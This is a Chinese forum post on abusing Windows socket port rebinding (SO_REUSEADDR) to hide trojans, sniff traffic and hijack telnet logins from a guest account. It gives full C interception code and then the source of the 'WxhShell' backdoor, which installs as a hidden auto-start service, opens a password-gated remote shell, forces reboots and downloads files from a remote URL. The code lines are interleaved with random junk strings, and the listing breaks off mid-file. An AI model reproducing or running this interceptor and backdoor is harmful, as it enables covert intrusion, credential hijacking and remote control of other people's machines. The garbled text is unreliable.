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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: S<*h1}V3/  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \B/!}Tn;  
,c]<Yu  
  saddr.sin_family = AF_INET; IKo,P$ PE  
\d-H+t]  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); vw~=z6Ka  
~ eNKu  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Q*jNJ^IW  
V2B@Lq"9`  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 kB#;s  
%*bGW'Cw  
  这意味着什么?意味着可以进行如下的攻击: TmviYP gb  
(V(8E%<c  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 mETGYkPUa  
C[ma!he  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) hqDnmzG  
Mi^/`1  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 m>FP&~2  
4De2m iq  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  xaN[ru@  
D( \c?X"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 kR0/jEz C  
]0o_- NI  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;9MIapfUd(  
qs$w9I  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 e6`g[Ap  
6N\f>c  
  #include 99GK6}~TGm  
  #include S1I# qb  
  #include S^Mx=KJG  
  #include    ^\ku}X_ [?  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Q30TR  
  int main() %\f<N1~*  
  { `RlMfd  
  WORD wVersionRequested; @f!r"P]  
  DWORD ret; Zjkg"  
  WSADATA wsaData; \"7U,y',  
  BOOL val; r=gF&Og,?  
  SOCKADDR_IN saddr; <dWms`Qc O  
  SOCKADDR_IN scaddr; > I>=/i^  
  int err; BMdcW MYU\  
  SOCKET s; he! Uq%e  
  SOCKET sc; P=<>H9p:o  
  int caddsize; c BcZ@e;  
  HANDLE mt; STjk<DP(  
  DWORD tid;   'O^<i`8U]  
  wVersionRequested = MAKEWORD( 2, 2 ); *";O_ :C!  
  err = WSAStartup( wVersionRequested, &wsaData ); k0bDEz.X  
  if ( err != 0 ) { Ud:;kI%Vj  
  printf("error!WSAStartup failed!\n"); ThiM6Hb  
  return -1; U[O7}Nsb"  
  } 'T+v&M  
  saddr.sin_family = AF_INET; f0@4 >\g  
   {i"t h(J$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Oil~QAd,  
oiRrpS\T.  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ^Lc, w  
  saddr.sin_port = htons(23); $!goM~pZ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,a34=,  
  { [R0E4A?M  
  printf("error!socket failed!\n"); <4:%M  
  return -1; q[TGEgG  
  } K+<F, P  
  val = TRUE; i%GNm D  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 yPoa04!{=  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) e_+SBN1`P&  
  { 4N(iow4  
  printf("error!setsockopt failed!\n"); {d '>J<Da  
  return -1; &BxZ}JH=k  
  } je;|zfe]  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^wlo;.8Y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 cqG&n0zb  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *&BS[0;  
)|,Zp`2/  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) T@R2H&L  
  { !j%#7  
  ret=GetLastError(); W`F?j-4  
  printf("error!bind failed!\n"); pGcijD  
  return -1; 888"X3.T  
  } ms6dl-_t  
  listen(s,2); /_mU%fl  
  while(1) :Aa5,{v _  
  { $O^"O Q_@  
  caddsize = sizeof(scaddr); 9Pql\]9"o  
  //接受连接请求 6KE?@3;Om  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); U>hpYqf_  
  if(sc!=INVALID_SOCKET) "ph[)/u;  
  { )v+\1  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); rqTsKrLe  
  if(mt==NULL) IFbN ]N0  
  { @MxB d,P  
  printf("Thread Creat Failed!\n"); .23Yqr'zT  
  break; ?wVq5^ e  
  } gaU(ebsE  
  } iE#I^`^V  
  CloseHandle(mt); ;m~%57.;\  
  } %9OVw #P  
  closesocket(s); Ay|K>8z   
  WSACleanup(); ,CIsZ1[VS  
  return 0; KkZS6rD\  
  }   v[]&yD  
  DWORD WINAPI ClientThread(LPVOID lpParam) -5y=K40  
  { h\/T b8  
  SOCKET ss = (SOCKET)lpParam; `s8!zy+  
  SOCKET sc; " +A8w  
  unsigned char buf[4096]; Qe;R3D=T;  
  SOCKADDR_IN saddr; .R _-$/ZP  
  long num; cH`ziZ<&m1  
  DWORD val; UIo jXR<  
  DWORD ret; )E c /5=A  
  //如果是隐藏端口应用的话,可以在此处加一些判断 E`#/m@:|-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @n;$Edza/  
  saddr.sin_family = AF_INET; yk/BQ|G  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &%;K_asV;  
  saddr.sin_port = htons(23); YSr u5Q  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }K|40oO5  
  { ' 1D1y'  
  printf("error!socket failed!\n"); 7e=s`j  
  return -1; rLE5fl5W  
  } 5@^['S4%8*  
  val = 100; _n+ 5{\z  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -'uz%2 {  
  { cd.|>  
  ret = GetLastError(); IN?rPdY  
  return -1; -] `OaL!  
  } m`xzvg  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T7Qw1k  
  { LLPbZ9q  
  ret = GetLastError(); ?sc lOOh  
  return -1; z4rg.ai  
  } <|;)iT1VeT  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) pwmH(94$0  
  { F/:Jp3@  
  printf("error!socket connect failed!\n"); i\C~]K~O!  
  closesocket(sc); EttQ<z_T  
  closesocket(ss); ; mwU>l,4  
  return -1; -J^t#R^$`  
  } s!?T$@a=  
  while(1) lr9s`>9  
  { >#|%y>g .o  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 z K6'wL!!I  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 }TG=ZVi  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =j~Xrytn  
  num = recv(ss,buf,4096,0); &6^QFqqW`-  
  if(num>0) <nJ8%aY,  
  send(sc,buf,num,0); ]] 50c  
  else if(num==0) aK]H(F2#  
  break; "p"~fN /I9  
  num = recv(sc,buf,4096,0);  lx&;?QQ  
  if(num>0) \s_`ZEB  
  send(ss,buf,num,0); I5#zo,9  
  else if(num==0) NU%<Ws=  
  break; hIFfvUl  
  } : \KJw  
  closesocket(ss); $kxP{0u  
  closesocket(sc); N _|tw  
  return 0 ; hw 0u?++  
  } }o7"2h ht  
d[y(u<Vl  
nZ/pi$7  
========================================================== V?N8 ,)j  
t&H3yV  
下边附上一个代码,,WXhSHELL -$o4WSd~  
5?-@}PL!Y  
========================================================== {xCqz0  
CYZ0F5+t  
#include "stdafx.h" n0opb [?  
LIfYpn6  
#include <stdio.h> R_B`dP<"~Y  
#include <string.h> 8}{W.np_  
#include <windows.h> l g*eSx>M  
#include <winsock2.h> s]2_d|Y  
#include <winsvc.h> m[D]4h9  
#include <urlmon.h> >tTu1#t  
Kq;s${ |G  
#pragma comment (lib, "Ws2_32.lib") lR0WDJv  
#pragma comment (lib, "urlmon.lib") &'oZ]}^ 0  
 f~w!Z  
#define MAX_USER   100 // 最大客户端连接数 8'o6:  
#define BUF_SOCK   200 // sock buffer fl o9iifZ  
#define KEY_BUFF   255 // 输入 buffer 4{rj 4P?  
9;tY'32/  
#define REBOOT     0   // 重启 {v U;(eN  
#define SHUTDOWN   1   // 关机 e<r}{=1w  
T[eb<  
#define DEF_PORT   5000 // 监听端口 !EB[Lut m  
#9(L/)^  
#define REG_LEN     16   // 注册表键长度 3pjK`"Nmz\  
#define SVC_LEN     80   // NT服务名长度 %SJFuw"  
M7\yEi"*  
// 从dll定义API MT{ovDA].  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l G $s(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #SqU>R  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); I3d!!L2ma  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); PEPf=sm  
v-!^a_3Ui  
// wxhshell配置信息 D\k'Eez  
struct WSCFG { >6 A8+=  
  int ws_port;         // 监听端口 48RSuH  
  char ws_passstr[REG_LEN]; // 口令 rvp#[RAaS}  
  int ws_autoins;       // 安装标记, 1=yes 0=no [xHHm5$  
  char ws_regname[REG_LEN]; // 注册表键名 MhZ\]CAs9  
  char ws_svcname[REG_LEN]; // 服务名 d#-'DO{k  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rVv4R/3+   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 maVfLVx-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3h`_Qv%g  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Jo4iWJpK  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" => X"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i^hEL2S/A  
")D5ulb\  
}; UQ}#=[)2e  
sU0W)c;  
// default Wxhshell configuration V~fPp"F  
struct WSCFG wscfg={DEF_PORT, l9#@4Os  
    "xuhuanlingzhe", 4N8(WI"4S  
    1, N'~l,{  
    "Wxhshell", uc]`^,`2/  
    "Wxhshell", \JbOT%1  
            "WxhShell Service", 9}jezLI/3  
    "Wrsky Windows CmdShell Service", lB*HL C  
    "Please Input Your Password: ", 2JL\1=k;  
  1, .dKFQH iYJ  
  "http://www.wrsky.com/wxhshell.exe", @ ('/NjTZ  
  "Wxhshell.exe" CJe~>4BT  
    }; 4^_'LiX3[  
9qI#vHA  
// 消息定义模块 P~M<OUg  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "g:1br?X,9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !U4<4<+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jP}Ix8vc=  
char *msg_ws_ext="\n\rExit."; DE!c+s_g4  
char *msg_ws_end="\n\rQuit."; }fh<LCwTi  
char *msg_ws_boot="\n\rReboot..."; q6EZ?bo{  
char *msg_ws_poff="\n\rShutdown..."; FgnPh%[u  
char *msg_ws_down="\n\rSave to "; "-R19SpJKh  
GGez!?E%  
char *msg_ws_err="\n\rErr!"; @@d6,=  
char *msg_ws_ok="\n\rOK!"; &*# Obv  
bDjm:G  
char ExeFile[MAX_PATH]; CqR^w(  
int nUser = 0; l$ufW|  
HANDLE handles[MAX_USER]; Qm>2,={h  
int OsIsNt; ,*CPG$L  
`&URd&ouJD  
SERVICE_STATUS       serviceStatus; .> 5[;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; GBYwS{4  
):7mK03J  
// 函数声明 'q\[aKEX=  
int Install(void); J=6( 4>  
int Uninstall(void); "ifv1KZ#  
int DownloadFile(char *sURL, SOCKET wsh); C9^C4   
int Boot(int flag); _*fOn@Vwo  
void HideProc(void); $L W8 vo7  
int GetOsVer(void); I6Ga'5bV  
int Wxhshell(SOCKET wsl); W9:(P  
void TalkWithClient(void *cs); GD0Q`gWNe  
int CmdShell(SOCKET sock); OE=.@Ry"  
int StartFromService(void); hw2Sb,bY  
int StartWxhshell(LPSTR lpCmdLine); Zmz $ hr  
7UsU03  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #j4RX:T*[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &vN^ *:Q  
S#*aB2ZS  
// 数据结构和表定义 N"A`tc5&  
SERVICE_TABLE_ENTRY DispatchTable[] = X=jHH=</  
{ 7x#."6>Dy  
{wscfg.ws_svcname, NTServiceMain}, i,!tu  
{NULL, NULL} Kp>fOe'KW  
}; K#LDmC  
FK~*X3'  
// 自我安装 8 `}I]  
int Install(void) Ru@ { b`  
{ -8Hv3J'=  
  char svExeFile[MAX_PATH]; n!&F%|o^^  
  HKEY key; vP'#x  
  strcpy(svExeFile,ExeFile); 0DX)%s,KO  
@1s 2# )l(  
// 如果是win9x系统,修改注册表设为自启动 3|PV.  
if(!OsIsNt) { _*++xF1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { th%T(D5n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Wo{4*~f  
  RegCloseKey(key); nQ#NW8*Fs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZoR6f\2M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); { t@7r  
  RegCloseKey(key); 6[Wv g  
  return 0; DLO2$d  
    } h^'+y1  
  } +}iuTqu5  
} MG vp6/Pd  
else { 5M\bH'1  
v]y=+* A  
// 如果是NT以上系统,安装为系统服务 y wmC>`0p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [:8+ +#KD  
if (schSCManager!=0) ),XDY_9K  
{ rmeGk&*R8  
  SC_HANDLE schService = CreateService v9"03 =h  
  ( +LF`ZXe8l  
  schSCManager, @T%8EiV  
  wscfg.ws_svcname, B-h@\y  
  wscfg.ws_svcdisp, B^Hh rz!  
  SERVICE_ALL_ACCESS, ny1Dg$u i2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]h'*L`  
  SERVICE_AUTO_START, @3`Pq2<  
  SERVICE_ERROR_NORMAL, %xdyG Al:  
  svExeFile, WHcw5_3#  
  NULL, v;(k7  
  NULL, W1ql[DqE{  
  NULL, bMGXx>x  
  NULL, yH0vESgv  
  NULL S]?I7_  
  ); gwDVWhq  
  if (schService!=0) jD ?*sd  
  { $Y[C A.F  
  CloseServiceHandle(schService); eC`G0.op  
  CloseServiceHandle(schSCManager); k,61Va  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6*:U1{Gl)  
  strcat(svExeFile,wscfg.ws_svcname); Pr3>}4M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { OlM3G^1e1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); p8MN>pLP%  
  RegCloseKey(key); 9\>{1"a  
  return 0; Sb^o`~ Eh  
    } ^1bM=9]F0  
  } XA\wZV |{  
  CloseServiceHandle(schSCManager); ?u>A2Vc!  
} U% OlYP$g  
} Q-KBQc  
fvRqt)Ks  
return 1; ]v l?J  
} a1z*Z/!5  
3x)jab  
// 自我卸载 D!mx&O9  
int Uninstall(void) f1q0*)fk  
{ \7G.anY  
  HKEY key; [y"Yi PK  
yC[Q-P*rG  
if(!OsIsNt) { d 9]zB-A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9yp'-RKjw  
  RegDeleteValue(key,wscfg.ws_regname); 4P?@NJp  
  RegCloseKey(key); bJ]blnH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B1TWOl?d{  
  RegDeleteValue(key,wscfg.ws_regname); B?9"Ztb  
  RegCloseKey(key); hfpis==  
  return 0; P?J\p J1|7  
  } ')ZZ)&U>z  
} =m 6<H  
} aa}U87]k  
else { M:oZk&cs  
f=- R<l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4xgfm.9I^  
if (schSCManager!=0) vw :&c.zd  
{ =l>=]O~h  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); VyWzb  
  if (schService!=0) n$<n Yr`X  
  { 6foiN W+  
  if(DeleteService(schService)!=0) { {Gw{W&<  
  CloseServiceHandle(schService); T>w;M?`9K  
  CloseServiceHandle(schSCManager); 8Yf=)  
  return 0; cC9haxW  
  } DK1{Z;Z  
  CloseServiceHandle(schService); %rO)w?  
  } 0~e6\7={  
  CloseServiceHandle(schSCManager); (?ZS 9&y}  
} Tj6kCB  
} p5J!j I=  
95Q^7oI  
return 1; ,3Nna:~f  
} ]3uj~la  
C)ic;!$Qhb  
// 从指定url下载文件 V6_~"pRR=  
int DownloadFile(char *sURL, SOCKET wsh) L&&AK`Ur3l  
{ wI?AZd;`'  
  HRESULT hr; :VE0eJ]J6  
char seps[]= "/"; );{76  
char *token; %$=2tfR  
char *file; fni7HBV?  
char myURL[MAX_PATH]; szp.\CMz  
char myFILE[MAX_PATH]; sU/vXweky"  
NMESGNa)z  
strcpy(myURL,sURL); eQ<G Nvm  
  token=strtok(myURL,seps); yh{U!hG  
  while(token!=NULL) AsR}qqG  
  { Wz;@Rl|F  
    file=token; y 7z)lBy\  
  token=strtok(NULL,seps); %`lLX/4~  
  } TjOK8 t  
rq:sy=;  
GetCurrentDirectory(MAX_PATH,myFILE); `:Zgq+j&  
strcat(myFILE, "\\"); 3|D.r-Q  
strcat(myFILE, file); f{h2>nEj \  
  send(wsh,myFILE,strlen(myFILE),0); v.c.5@%%o  
send(wsh,"...",3,0); *S'?u_Y7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); J7@Q;gcl:  
  if(hr==S_OK) d3NER}f4V  
return 0; %2'Y@AX`  
else Qe`Nb4xf  
return 1; b^"mQ   
qyjVB/ko  
} l=C|4@  
zm#%]p80f  
// 系统电源模块 ld#YXJ;P.k  
int Boot(int flag) Lm+E?Ca  
{ #wJ^:r-c`  
  HANDLE hToken; E5Lq-   
  TOKEN_PRIVILEGES tkp; er<_;"`1  
YTg8Zg-Z  
  if(OsIsNt) { A-u!{F  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0O(Vyy  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (O/W`qo  
    tkp.PrivilegeCount = 1; oSl}A,aQ(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [d=BN ,?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N!<X% Ym  
if(flag==REBOOT) { 6\? 2=dNX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f;!L\$yKy  
  return 0; HBA|NV3.  
} sn+ kFvk}S  
else { o;>qsn8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !8tqYY?>@\  
  return 0; VUD9ZyPw  
} " s/ws  
  } _~;K]  
  else { 57EL&V%j  
if(flag==REBOOT) { X$eR RSW  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B[5<&  
  return 0; Gz2\&rmN  
} QV -ZP'e^  
else { m?=J;r"Re  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h~ q5GhY!9  
  return 0; qA t#0  
} CHDt^(oa!B  
} xu >grj  
8v6AfTo%  
return 1; pv^:G;  
} RY\ 0dv>  
 {IT xHt  
// win9x进程隐藏模块 f]2;s#cu  
void HideProc(void) f||S?ns_  
{ ~|ha9 1  
wdIJ?\/763  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); rj/nn)vv;  
  if ( hKernel != NULL ) #;h> x  
  { ]2_=(N\Kt  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); IV%Rph>d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); z}Vg4\x&  
    FreeLibrary(hKernel); 0|,Ij $  
  } 67U6`9d  
&&C'\,ZK5  
return; [S0wwWU |0  
} oVd7ucnK  
iKv"200h(  
// 获取操作系统版本 I")mg~f  
int GetOsVer(void) 0Kg?X  
{ 6Q_ZP#oAV  
  OSVERSIONINFO winfo; o'? WWJK6w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )ib$*dmUP  
  GetVersionEx(&winfo); QFFFxaeJg  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :W$- b  
  return 1; -4obX  
  else 2`Ihrz6  
  return 0; k|$?b7)"@  
} bpa'`sf  
6cOlY= bn  
// 客户端句柄模块 m14'u GC  
int Wxhshell(SOCKET wsl) <VhD>4f{]  
{ UD Pn4q  
  SOCKET wsh; h r6?9RJY  
  struct sockaddr_in client; (UZ].+)s  
  DWORD myID; FJFO0Hb6  
"i&9RA! 1  
  while(nUser<MAX_USER) f[?JLp   
{ 1JV-X G6  
  int nSize=sizeof(client); ssl.Y!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xRZ/[1f!  
  if(wsh==INVALID_SOCKET) return 1; '_ys4hz}  
H`jnChD:M'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B/Ltb^a  
if(handles[nUser]==0) s0DT1s&  
  closesocket(wsh); 'f8'|o)  
else ;_0frX  
  nUser++; $y%IM`/w  
  } LtV,djk  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "d2JNFIHb  
u,]qrlx{  
  return 0; : Xu9` 5  
} gP>W* ]0r1  
lBudC  
// 关闭 socket z6|kEc"{  
void CloseIt(SOCKET wsh) z&\N^tBv  
{ 5yjG\ ~  
closesocket(wsh); w"L]?#  
nUser--; #X0Xc2}{f  
ExitThread(0); g*!1S  
} Bve',.xH  
eV"Uv3  
// 客户端请求句柄 FM|3'a-z  
void TalkWithClient(void *cs) KGmAnN  
{ gL`aLg_  
WT}x Cni  
  SOCKET wsh=(SOCKET)cs; un}!&*+  
  char pwd[SVC_LEN]; D'#,%4P,e\  
  char cmd[KEY_BUFF]; `rV -,-r@  
char chr[1]; ^?|d< J:{  
int i,j; 1v*N]}`HU  
5uJ!)Q  
  while (nUser < MAX_USER) { -?-yeJP2  
AEUR` .  
if(wscfg.ws_passstr) { O^_CqT%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  j}w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^FZ9q  
  //ZeroMemory(pwd,KEY_BUFF); +^%)QH>9   
      i=0; qKE+,g'  
  while(i<SVC_LEN) { yh'*eli  
-J0I2D  
  // 设置超时 S|?P#.=GX  
  fd_set FdRead; g'2}Y5m$`  
  struct timeval TimeOut; @.,'A[D!K  
  FD_ZERO(&FdRead); g+Y &rz  
  FD_SET(wsh,&FdRead); a6?t?: ~|  
  TimeOut.tv_sec=8; { T<[-"h  
  TimeOut.tv_usec=0; {U4{v=,!I  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6XnUs1O  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o\fPZ`p-m~  
RFq=`/>dG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X.ZG-TC  
  pwd=chr[0]; i O$ ?No  
  if(chr[0]==0xd || chr[0]==0xa) { [7  t  
  pwd=0; ?QtM|e  
  break; ]C{N4Ni^Z  
  } .N7&Jy  
  i++; E+ /XKF  
    } tH:?aP*2  
EJNHZ<  
  // 如果是非法用户,关闭 socket V0n8fez b  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $QwzL/a  
} O2xqNQ`d  
n^nQrRIp  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (%G>TV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UJjtDV3@_g  
JURg=r]LI  
while(1) { iF_u/#  
Y oZd,} i  
  ZeroMemory(cmd,KEY_BUFF); C~PP}|<~V  
%&J`mq  
      // 自动支持客户端 telnet标准   Z% ]LZ/O8  
  j=0; w^:@g~  
  while(j<KEY_BUFF) { 5i'KGL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "2 D{X  
  cmd[j]=chr[0]; ReGT*+UN  
  if(chr[0]==0xa || chr[0]==0xd) { 3@* ~>H  
  cmd[j]=0; Iz&d S?p_  
  break; ?"kU+tCxg  
  } =@nW;PUZ  
  j++; 8E>2 6@.  
    } !/1 ~  
O#<S\66  
  // 下载文件 SQN{/")T  
  if(strstr(cmd,"http://")) { <~e*YrJ?-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5f75r  
  if(DownloadFile(cmd,wsh)) hTPvt  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %D7'7E8.  
  else fT<3~Z>m  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {;o54zuKf  
  } D\E"v,Y\+O  
  else { ~/Y8wxg  
'1zC|:,  
    switch(cmd[0]) { }:*?w>=  
  Xd.y or  
  // 帮助 COd~H  
  case '?': { )ri'W <l  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $?9u;+jIR  
    break; ]SN5 &S  
  } K3&k+~$  
  // 安装 -$kbj*b##  
  case 'i': { 9h<iw\ $'  
    if(Install()) iztgk/(+G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !Wy&+H*0  
    else ^5+7D1>W%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iphdJZ/f  
    break; %v^qQWy=*  
    } &m{~4]qWpM  
  // 卸载 3Q,p,  
  case 'r': { "*KOU2}C  
    if(Uninstall()) kn WI7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i6i;{\tc  
    else F |_mCwA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v'Up& /(  
    break; z[JM ]Wy  
    } }( WUZ^L  
  // 显示 wxhshell 所在路径 5UQ[vHMqI  
  case 'p': { OQDx82E  
    char svExeFile[MAX_PATH]; fL gHQ  
    strcpy(svExeFile,"\n\r"); YT@N$kOg_  
      strcat(svExeFile,ExeFile); ]ij:>O@{$  
        send(wsh,svExeFile,strlen(svExeFile),0); 5yp  
    break; - @KT#  
    } j92+kq>Xd  
  // 重启 3>^B%qg6  
  case 'b': { {s?hXB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); avqJ[R  
    if(Boot(REBOOT)) Xg}~\|n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @d|]BqQ4jh  
    else { !DKl:8mx4  
    closesocket(wsh); Y1BxRd?D  
    ExitThread(0); =g=Vv"B_  
    } z7a @'+'  
    break; w_Z*X5u  
    } s ZokiFJ  
  // 关机 -Q1~lN m:  
